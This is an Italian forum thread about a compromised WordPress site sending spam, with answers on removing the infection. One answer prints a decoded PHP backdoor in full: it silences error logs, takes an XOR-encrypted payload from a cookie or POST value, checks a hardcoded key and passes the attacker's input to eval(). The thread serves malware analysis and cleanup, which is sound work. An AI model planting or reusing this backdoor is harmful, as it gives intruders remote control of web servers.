Malware nel plugin RevSlider? [duplicare]

-1

Forse il mio sito WordPress è stato violato, perché invia sempre spam (5000 al giorno). Ho trovato un file nella cartella plugins che contiene questo codice base64.

Cosa dovrei fare?

EDIT: ho trovato un altro .

EDIT 2: e un altro .

    
posta Joci93 28.07.2015 - 08:42
fonte

3 risposte

2

In realtà puoi deoffuscare il malware JS che hai ricevuto. Potresti farlo da te in poche ore. Puoi vedere che l'attaccante sta sostituendo l'alfabeto e i numeri da 0 a 9 e poi li codifica.

Gli spam che ricevi potrebbero quindi derivare da quel malware. Sarà bene per te studiare come funziona esattamente al fine di intraprendere le azioni appropriate.

Altrimenti, se non hai esperienza con tale analisi del codice del malware, non fatevi prendere dal panico. Prova a trovare anche da dove viene generato il codice (quale cosa potrebbe essere un compito più difficile a volte) analizzando completamente il tuo ambiente locale e adempiendo ad altri passaggi menzionati qui per sbarazzartene.

Ovviamente, dopo averlo rimosso, dovrai cambiare le tue credenziali di autenticazione e controllare i tuoi registri e exploit e gli indirizzi IP sospetti usando Fail2ban per aggiornare le regole del firewall.

    
risposta data 28.07.2015 - 09:24
fonte
1

È la stessa shell php remota decodificata qui:

Che cos'è questo? Virus o scanner?

Ci sono solo piccole modifiche e ovviamente la variabile $ GLOBALS ["auth"] contenente la chiave di crittografia del codice, il che significa che probabilmente questo codice è stato incorporato da bot appartenente al diverso proprietario.

    
risposta data 28.07.2015 - 13:34
fonte
1

La risposta di begueradj è buona, voglio solo aggiungere che sono andato avanti e decodificato i dati. Ciò che viene eseguito non assomiglia a nulla relativo all'e-mail di spam, piuttosto sembra una logica relativa ai cookie anche se non sono sicuro di quello che sta facendo (qualcuno più fluente con PHP disposto a fare una pugnalata?). Codice incluso di seguito:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

$data = NULL;
$data_key = NULL;

$GLOBALS['auth'] = 'f3e90c82-5938-49aa-82db-d122a5b73318';
global $auth;

function sh_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function sh_decrypt($data, $key)
{
    global $auth;

    return sh_decrypt_phase(sh_decrypt_phase($data, $auth), $key);
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(sh_decrypt(@base64_decode($data), $data_key));
if (isset($data['ak']) && $auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '1.0-1',
        );
        echo @serialize($i);
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
}

MODIFICA: sembra che l'ultimo file che hai postato sia il colpevole per l'invio di email di spam. Ecco la versione decodificata , non ho analizzato tutte le 3000 (!) Linee ma hai una funzione lì chiamata sendSmtpMail che sembra un indicatore abbastanza buono di ciò che il codice è (almeno parzialmente) facendo.

    
risposta data 28.07.2015 - 10:48
fonte

Leggi altre domande sui tag